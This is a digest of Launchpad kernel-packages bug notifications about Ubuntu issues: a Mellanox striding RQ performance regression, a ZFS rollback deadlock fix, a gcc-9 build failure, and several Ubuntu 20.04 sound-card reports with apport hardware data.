Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1868113] Re: [Ubuntu 20.04] Striding RQ as Default for ConnectX-4
** Changed in: linux (Ubuntu) Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1868113 Title: [Ubuntu 20.04] Striding RQ as Default for ConnectX-4 Status in Release Notes for Ubuntu: Fix Released Status in Ubuntu on IBM z Systems: Fix Released Status in linux package in Ubuntu: Won't Fix Bug description: ello, Within our Network Performance runs in the RoCE Express 2(.1) area, we noticed a performance regression with streaming workloads which could be mitigated by using an ethtool setting. The Commit which switched the default value from "Striding RQ" to "Legacy RQ" for ConnectX-4 devices (RoCE Express 2(.1)) is attached here: commit 5ffd81943d7a57423f204cd5844bf430b5634472 (refs/bisect/bad) Author: Tariq Toukan Date: Tue Feb 20 15:17:54 2018 +0200 net/mlx5e: RX, Always prefer Linear SKB configuration Prefer the linear SKB configuration of Legacy RQ over the non-linear one of Striding RQ. This implies that ConnectX-4 LX now uses legacy RQ by default, as it does not support the linear configuration of Striding RQ. Signed-off-by: Tariq Toukan Signed-off-by: Saeed Mahameed diff --git a/drivers/net/ethernet/mellanox/mlx5/core/en_main.c b/drivers/net/ethernet/mellanox/mlx5/core/en_main.c index 2c634e50d051..333d4ed52b94 100644 --- a/drivers/net/ethernet/mellanox/mlx5/core/en_main.c +++ b/drivers/net/ethernet/mellanox/mlx5/core/en_main.c @@ -4405,9 +4405,16 @@ void mlx5e_build_nic_params(struct mlx5_core_dev *mdev, MLX5E_SET_PFLAG(params, MLX5E_PFLAG_RX_CQE_COMPRESS, params->rx_cqe_compress_def); /* RQ */ - if (mlx5e_striding_rq_possible(mdev, params)) - MLX5E_SET_PFLAG(params, MLX5E_PFLAG_RX_STRIDING_RQ, - !slow_pci_heuristic(mdev)); + /* Prefer Striding RQ, unless any of the following holds: +* - Striding RQ configuration is not possible/supported. +* - Slow PCI heuristic. +* - Legacy RQ would use linear SKB while Striding RQ would use non-linear. +*/ + if (!slow_pci_heuristic(mdev) && + mlx5e_striding_rq_possible(mdev, params) && + (mlx5e_rx_mpwqe_is_linear_skb(mdev, params) || +!mlx5e_rx_is_linear_skb(mdev, params))) + MLX5E_SET_PFLAG(params, MLX5E_PFLAG_RX_STRIDING_RQ, true); mlx5e_set_rq_type(mdev, params); mlx5e_init_rq_type_params(mdev, params); We have modified the upstream-kernel to allow us running of measurements and compare differences between Legacy RQ vs Striding RQ. Here is an example below: Kernel used: 5.4.0-rc7 The measurements run on a dedicated machine (z14) using uperf with streaming profiles (MTU size 1500). Example throughput drop: (traffic via a shared card, i.e. client and server using VFs from the same ConnectX-4) -- | |Legacy RQ| Striding RQ | -- |str-writex30k (1 connection) |24.62Gb/s| 33.47Gb/s| -- Additionaly, two tests with transactional workload using the ethtool proposed switch: -- | |Legacy RQ| Striding RQ | -- | rr1c-200x30k---1 | 4.12Gb/s|5.66Gb/s| -- | rr1c-200x30k--10 |15.10Gb/s| 20.77Gb/s| -- As concluded in the communication with Mellanox, there is a possibility to use a simple ethtool command to switch between the queuing methods, allowing us to avoid kernel code changes: ethtool --set-priv-flags DEVNAME rx_striding_rq on (To list the available settings you may use: ethtool --show-priv-flags DEVNAME) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-release-notes/+bug/1868113/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847832] Re: Backport ZoL pull request 9203 into the official packages.
** Changed in: zfs-linux (Ubuntu Eoan) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1847832 Title: Backport ZoL pull request 9203 into the official packages. Status in zfs-linux package in Ubuntu: Fix Released Status in zfs-linux source package in Eoan: Fix Released Bug description: == SRU Justification, EOAN == ZFS can deadlock, this can be sometimes triggered with a zfs rollback - "the zfs_resume_fs() code path may cause zfs to spawn new threads as it reinstantiates the suspended fs's zil. When a new thread is spawned, the kernel may attempt to free memory for that thread by freeing some unreferenced inodes. If it happens to select inodes that are a a part of the suspended fs a deadlock will occur because freeing inodes requires holding the fs's z_teardown_inactive_lock which is still held from the suspend." == The Fix == Backport of ZFS upstream commit e7a2fa70c3b0d8c8cee2b484038bb5623c7c1ea9 ("Fix deadlock in 'zfs rollback'") The backport is relatively simple context wiggle. == Test Case == This is hard to trigger so testing is non-trivial. To check for regressions we run the entire Ubuntu ZFS regression test suite. Without the fix rollbacks can very occasionally trip this issue. With the test, it's not possible. == Regression Potential == The fix adds in an extra z_suspended flag to track suspended state and adds an extra reference to stop the kernel from free'ing inodes on a suspected file system. The changes are small and are well-used in upstream ZFS so I believe if a regression was to have occurred it would have been found by the regression testing. - Original Bug Report Below --- Hopefully this is the correct bug tracker to report this on. Recently, I ran into a bug in ZFS as shipped in Ubuntu 19.10 that caused the kernel to deadlock and the system to eventually hang. I was advised by a ZFS on Linux project maintainer that this was a bug that was fixed in 0.8.2. The relevant pull request is here: https://github.com/zfsonlinux/zfs/pull/9203 It would probably be a good idea to backport that pull request into 19.10's build of ZFS. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/zfs-linux/+bug/1847832/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1867316] Re: Almost global FTFBS due to dropping include-fixed dir in 9.3.0-1
gcc-9 (9.3.0-3ubuntu1) focal; urgency=medium * Merge with Debian; remaining changes: - Build from upstream sources. - Disable the LTO build on arm64, armhf for now, takes 24+ hours ... gcc-9 (9.3.0-3) unstable; urgency=high * Ship the include-fixed directory again, for a working #include . * Build using GCC 8. gcc-9 (9.3.0-1) unstable; urgency=medium * GCC 9.3.0 release. * Update newlib to 3.3.0. * Update gm2 from the gcc_9_2_0_gm2 branch 202003114. * For all runtime libraries, generate dependencies on libgcc-sN instead on libgccN. * Stop shipping the include-fixed directory. * Refresh patches. * Tighten dependency on libc6 for this upload. -- Matthias Klose Fri, 13 Mar 2020 10:30:38 +0100 ** No longer affects: chrony (Ubuntu) ** No longer affects: glibc (Ubuntu) ** No longer affects: linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1867316 Title: Almost global FTFBS due to dropping include-fixed dir in 9.3.0-1 Status in gcc-9 package in Ubuntu: Fix Released Bug description: This seems an almost global FTBFS with anything that includes limits.h $ cat > test.c << EOF > /* > * Test FTBFS 1867316 > */ > > #include > EOF ubuntu@focal-ftbfs:~/chrony-3.5$ gcc -c test.c In file included from test.c:5: /usr/include/limits.h:124:26: error: no include path in which to search for limits.h 124 | # include_next | ^ Interestingly this fails on armhf/ppc64/s390x but works on x86. --- started as a chrony FTBFS despite tetsing a few hours before --- For bug 1866753 we built this yesterday in a proposed PPA and things worked! Now today on the final upload it failed to build on armhf/ppc64/s390x. In file included from /usr/include/powerpc64le-linux-gnu/sys/param.h:26, from /usr/include/resolv.h:56, from nameserv.c:34: /usr/include/limits.h:124:26: error: no include path in which to search for limits.h 124 | # include_next | ^ make[1]: *** [Makefile:108: nameserv.o] Error 1 The same error on all of them. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gcc-9/+bug/1867316/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1876066] Re: Support Intel TGL CPU on Focal
** Summary changed: - need the id for Intel TGL CPU on Focal + Support Intel TGL CPU on Focal ** Changed in: thermald (Ubuntu) Importance: Undecided => Wishlist -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1876066 Title: Support Intel TGL CPU on Focal Status in OEM Priority Project: Confirmed Status in thermald package in Ubuntu: New Bug description: need the patch to support Intel TGL CPU on Focal https://github.com/intel/thermal_daemon/blob/master/src/thd_engine.cpp#L666 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1876066/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1673154] Re: linux: -proposed tracker
** Also affects: linux (Ubuntu Precise) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Precise) Status: New => Invalid ** Changed in: kernel-sru-workflow/automated-testing Status: New => Invalid ** Changed in: kernel-sru-workflow/certification-testing Status: New => Invalid ** Changed in: kernel-sru-workflow/prepare-package Status: Confirmed => Invalid ** Changed in: kernel-sru-workflow/prepare-package-lbm Status: Confirmed => Invalid ** Changed in: kernel-sru-workflow/prepare-package-meta Status: Confirmed => Invalid ** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Invalid ** Changed in: kernel-sru-workflow/promote-to-security Status: New => Invalid ** Changed in: kernel-sru-workflow/promote-to-updates Status: New => Invalid ** Changed in: kernel-sru-workflow/regression-testing Status: New => Invalid ** Changed in: kernel-sru-workflow/verification-testing Status: New => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1673154 Title: linux: -proposed tracker Status in Kernel SRU Workflow: Invalid Status in Kernel SRU Workflow automated-testing series: Invalid Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Invalid Status in Kernel SRU Workflow prepare-package-lbm series: Invalid Status in Kernel SRU Workflow prepare-package-meta series: Invalid Status in Kernel SRU Workflow promote-to-proposed series: Invalid Status in Kernel SRU Workflow promote-to-security series: Invalid Status in Kernel SRU Workflow promote-to-updates series: Invalid Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Invalid Status in Kernel SRU Workflow upload-to-ppa-dnu series: Invalid Status in Kernel SRU Workflow verification-testing series: Invalid Status in linux package in Ubuntu: Invalid Status in linux source package in Precise: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: derivatives: 1673162,1673164 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1673154/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1875252] Re: Ubuntu 20.04 LTS update causing no sound coming from built-in speakers
*** This bug is a duplicate of bug 1876065 *** https://bugs.launchpad.net/bugs/1876065 ** This bug has been marked a duplicate of bug 1876065 After unplug headphones and plug them again no sound can be heard -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1875252 Title: Ubuntu 20.04 LTS update causing no sound coming from built-in speakers Status in linux package in Ubuntu: Confirmed Bug description: After updating to Ubuntu 20.04 LTS, the only way of hearing audio is through headphones. The sound settings tab doesn't even show any other output option other than "Dummy output" . I have already checked other versions and everything works perfectly when I downgrade to Ubuntu 19.10, so I think this is a version related bug. Just to reiterate my laptop is a DELL Inspiron 14 3420.The sound card showing in alsamixer window is HDA Intel PCH, and the chip is Cirrus Logic CS4213. I have looked up solutions online for 2 days and none has worked. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-26-generic 5.4.0-26.30 ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30 Uname: Linux 5.4.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: george 1499 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun Apr 26 19:04:06 2020 InstallationDate: Installed on 2020-04-26 (0 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) MachineType: Dell Inc. Inspiron 3420 ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-26-generic root=UUID=ec9a2552-c1da-44bd-9967-5be8bc6da075 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-26-generic N/A linux-backports-modules-5.4.0-26-generic N/A linux-firmware1.187 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: Upgraded to focal on 2020-04-26 (0 days ago) dmi.bios.date: 09/28/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 04XGDT dmi.board.vendor: Dell Inc. dmi.board.version: A05 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA05:bd09/28/2012:svnDellInc.:pnInspiron3420:pvrNotSpecified:rvnDellInc.:rn04XGDT:rvrA05:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 3420 dmi.product.sku: To be filled by O.E.M. dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1875252/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1874465] Re: dummy output ubuntu 20.04 LTS dell inspiron 3420
*** This bug is a duplicate of bug 1876065 *** https://bugs.launchpad.net/bugs/1876065 ** This bug is no longer a duplicate of bug 1875252 Ubuntu 20.04 LTS update causing no sound coming from built-in speakers ** This bug has been marked a duplicate of bug 1876065 After unplug headphones and plug them again no sound can be heard -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1874465 Title: dummy output ubuntu 20.04 LTS dell inspiron 3420 Status in linux package in Ubuntu: Confirmed Bug description: in sound settings there is only dummy output, everything worked until April, 21 2020 when updated 18.04 LTS to 20.04 LTS via terminal. Description: Ubuntu 20.04 LTS Release: 20.04 alsa-base: Installed: 1.0.25+dfsg-0ubuntu5 Candidate: 1.0.25+dfsg-0ubuntu5 Version table: *** 1.0.25+dfsg-0ubuntu5 500 500 http://br.archive.ubuntu.com/ubuntu focal/main amd64 Packages 500 http://br.archive.ubuntu.com/ubuntu focal/main i386 Packages 100 /var/lib/dpkg/status pavucontrol: Installed: 4.0-1build1 Candidate: 4.0-1build1 Version table: *** 4.0-1build1 500 500 http://br.archive.ubuntu.com/ubuntu focal/universe amd64 Packages 100 /var/lib/dpkg/status ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-26-generic 5.4.0-26.30 ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30 Uname: Linux 5.4.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: ploosh 1949 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Thu Apr 23 11:35:40 2020 InstallationDate: Installed on 2019-10-06 (199 days ago) InstallationMedia: Ubuntu 18.04.3 LTS "Bionic Beaver" - Release amd64 (20190805) MachineType: Dell Inc. Inspiron 3420 ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-26-generic root=UUID=ec870298-2798-4d1b-a6d2-6118c2078d5e ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-26-generic N/A linux-backports-modules-5.4.0-26-generic N/A linux-firmware1.187 SourcePackage: linux UpgradeStatus: Upgraded to focal on 2020-04-22 (1 days ago) dmi.bios.date: 11/04/2013 dmi.bios.vendor: Dell Inc. dmi.bios.version: A11 dmi.board.name: 04XGDT dmi.board.vendor: Dell Inc. dmi.board.version: A11 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA11:bd11/04/2013:svnDellInc.:pnInspiron3420:pvrNotSpecified:rvnDellInc.:rn04XGDT:rvrA11:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 3420 dmi.product.sku: To be filled by O.E.M. dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1874465/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1879760] Re: PCI/internal sound card not detected
** This bug is no longer a duplicate of bug 1879939 Audio stopped working after 5.4.0-31 kernel update -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1879760 Title: PCI/internal sound card not detected Status in linux package in Ubuntu: Confirmed Bug description: after updating ubuntu kernel pc cant detect sound its show dummy output but when i select from boot previous kernel the sound working ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34 Uname: Linux 5.4.0-31-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Wed May 20 21:20:11 2020 InstallationDate: Installed on 2020-05-10 (10 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Title: PCI/internal sound card not detected UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/03/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1302 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: RAMPAGE V EXTREME dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1302:bd03/03/2015:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnRAMPAGEVEXTREME:rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: ASUS MB dmi.product.name: All Series dmi.product.sku: All dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1879760/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1879989] Re: "Failed to play sound: No such driver" ubuntu 20.04
*** This bug is a duplicate of bug 1876065 *** https://bugs.launchpad.net/bugs/1876065 ** This bug is no longer a duplicate of bug 1879939 Audio stopped working after 5.4.0-31 kernel update ** This bug has been marked a duplicate of bug 1876065 After unplug headphones and plug them again no sound can be heard -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1879989 Title: "Failed to play sound: No such driver" ubuntu 20.04 Status in linux package in Ubuntu: Confirmed Bug description: my speakers- built in audio produces terrible sound I tested the speakers via settings/sound and there was no sound I checked gnome logs and found "Failed to play sound: No such driver" I checked online and it seams to be a problem that affects many users ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-31-generic 5.4.0-31.35 ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34 Uname: Linux 5.4.0-31-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: regern70802 F pulseaudio /dev/snd/pcmC0D0c: regern70802 F...m pulseaudio /dev/snd/pcmC0D0p: regern70802 F...m pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Thu May 21 19:13:55 2020 InstallationDate: Installed on 2020-05-16 (5 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) MachineType: Dell Inc. Inspiron 15-3552 ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-31-generic root=UUID=55652357-023b-4633-8d3a-46ce1a22d378 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-31-generic N/A linux-backports-modules-5.4.0-31-generic N/A linux-firmware1.187 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/06/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 4.4.0 dmi.board.name: 079W3P dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvr4.4.0:bd03/06/2018:svnDellInc.:pnInspiron15-3552:pvr4.4.0:rvnDellInc.:rn079W3P:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.family: Inspiron dmi.product.name: Inspiron 15-3552 dmi.product.sku: 06AC dmi.product.version: 4.4.0 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1879989/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1879973] Re: There is no sound from the built-in speakers and does not see the built-in microphone
** This bug is no longer a duplicate of bug 1876065 After unplug headphones and plug them again no sound can be heard ** Package changed: ubuntu => linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1879973 Title: There is no sound from the built-in speakers and does not see the built-in microphone Status in linux package in Ubuntu: New Bug description: After update my Inspiron 5490 from Ubuntu 18.04 to 20.04 system see only "Dummy Sound". I updated kernel to 5.6.13-050613-lowlatency, reinstall pulseaudio, add "options snd-hda-intel dmic_detect=0" to /etc/modprobe.d/alsa- base.con, add "blacklist snd_soc_skl" to /etc/modprobe.d/blacklist.conf. I applied the solution from this source: https://bugs.launchpad.net/ubuntu/+source/alsa- driver/+bug/1876238. I still have this problem. Audio: Device-1: Intel driver: sof-audio-pci Sound Server: ALSA v: k5.6.13-050613-lowlatency $ aplay -l List of PLAYBACK Hardware Devices card 0: sofhdadsp [sof-hda-dsp], device 0: HDA Analog (*) [] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: sofhdadsp [sof-hda-dsp], device 1: HDA Digital (*) [] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: sofhdadsp [sof-hda-dsp], device 3: HDMI1 (*) [] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: sofhdadsp [sof-hda-dsp], device 4: HDMI2 (*) [] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: sofhdadsp [sof-hda-dsp], device 5: HDMI3 (*) [] Subdevices: 1/1 Subdevice #0: subdevice #0 ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: evince 3.36.0-2 Uname: Linux 5.6.13-050613-lowlatency x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Thu May 21 17:18:36 2020 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-bionic-amd64-20190418-59+beaver-osp1+X00 InstallationDate: Installed on 2020-01-31 (111 days ago) InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 20190418-12:10 SourcePackage: evince UpgradeStatus: Upgraded to focal on 2020-05-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1879973/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1879989] Re: "Failed to play sound: No such driver" ubuntu 20.04
** This bug is no longer a duplicate of bug 1876065 After unplug headphones and plug them again no sound can be heard -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1879989 Title: "Failed to play sound: No such driver" ubuntu 20.04 Status in linux package in Ubuntu: Confirmed Bug description: my speakers- built in audio produces terrible sound I tested the speakers via settings/sound and there was no sound I checked gnome logs and found "Failed to play sound: No such driver" I checked online and it seams to be a problem that affects many users ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-31-generic 5.4.0-31.35 ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34 Uname: Linux 5.4.0-31-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: regern70802 F pulseaudio /dev/snd/pcmC0D0c: regern70802 F...m pulseaudio /dev/snd/pcmC0D0p: regern70802 F...m pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Thu May 21 19:13:55 2020 InstallationDate: Installed on 2020-05-16 (5 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) MachineType: Dell Inc. Inspiron 15-3552 ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-31-generic root=UUID=55652357-023b-4633-8d3a-46ce1a22d378 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-31-generic N/A linux-backports-modules-5.4.0-31-generic N/A linux-firmware1.187 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/06/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 4.4.0 dmi.board.name: 079W3P dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvr4.4.0:bd03/06/2018:svnDellInc.:pnInspiron15-3552:pvr4.4.0:rvnDellInc.:rn079W3P:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.family: Inspiron dmi.product.name: Inspiron 15-3552 dmi.product.sku: 06AC dmi.product.version: 4.4.0 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1879989/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1864871] Re: Failed to init Intel sound card in 20.04
** Package changed: linux-5.4 (Ubuntu) => linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1864871 Title: Failed to init Intel sound card in 20.04 Status in linux package in Ubuntu: Confirmed Bug description: After installing current 20.04 release on ThinkBook 13s IML with Intel audio card there is no sound available because sound card not detected (only dummy output available in sound settings): $ alsamixer cannot open mixer: No such file or directory $ lspci -nnk |grep -A2 audio lspci: Unable to load libkmod resources: error -12 00:1f.3 Multimedia audio controller [0401]: Intel Corporation Device [8086:02c8] Subsystem: Lenovo Device [17aa:3816] Kernel driver in use: sof-audio-pci 00:1f.4 SMBus [0c05]: Intel Corporation Device [8086:02a3] Subsystem: Lenovo Device [17aa:3819] $ pacmd list-cards 0 card(s) available. $ dmesg |grep sof [0.755398] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [0.755400] software IO TLB: mapped [mem 0x7d91d000-0x8191d000] (64MB) [2.142149] systemd[1]: Mounting Mount unit for software-boutique, revision 54... [2.333772] systemd[1]: Mounted Mount unit for software-boutique, revision 54. [2.770307] sof-audio-pci :00:1f.3: warning: No matching ASoC machine driver found [2.770316] sof-audio-pci :00:1f.3: DSP detected with PCI class/subclass/prog-if 0x040100 [2.770473] sof-audio-pci :00:1f.3: use msi interrupt mode [2.770696] sof-audio-pci :00:1f.3: bound :00:02.0 (ops i915_audio_component_bind_ops [i915]) [2.779359] sof-audio-pci :00:1f.3: hda codecs found, mask 5 [2.779360] sof-audio-pci :00:1f.3: using HDA machine driver skl_hda_dsp_generic now [2.817051] sof-audio-pci :00:1f.3: Direct firmware load for intel/sof/sof-cnl.ri failed with error -2 [2.817054] sof-audio-pci :00:1f.3: error: request firmware intel/sof/sof-cnl.ri failed err: -2 [2.817057] sof-audio-pci :00:1f.3: error: failed to load DSP firmware -2 [2.817058] sof-audio-pci :00:1f.3: error: sof_probe_work failed err: -2 I've found similar bug reported 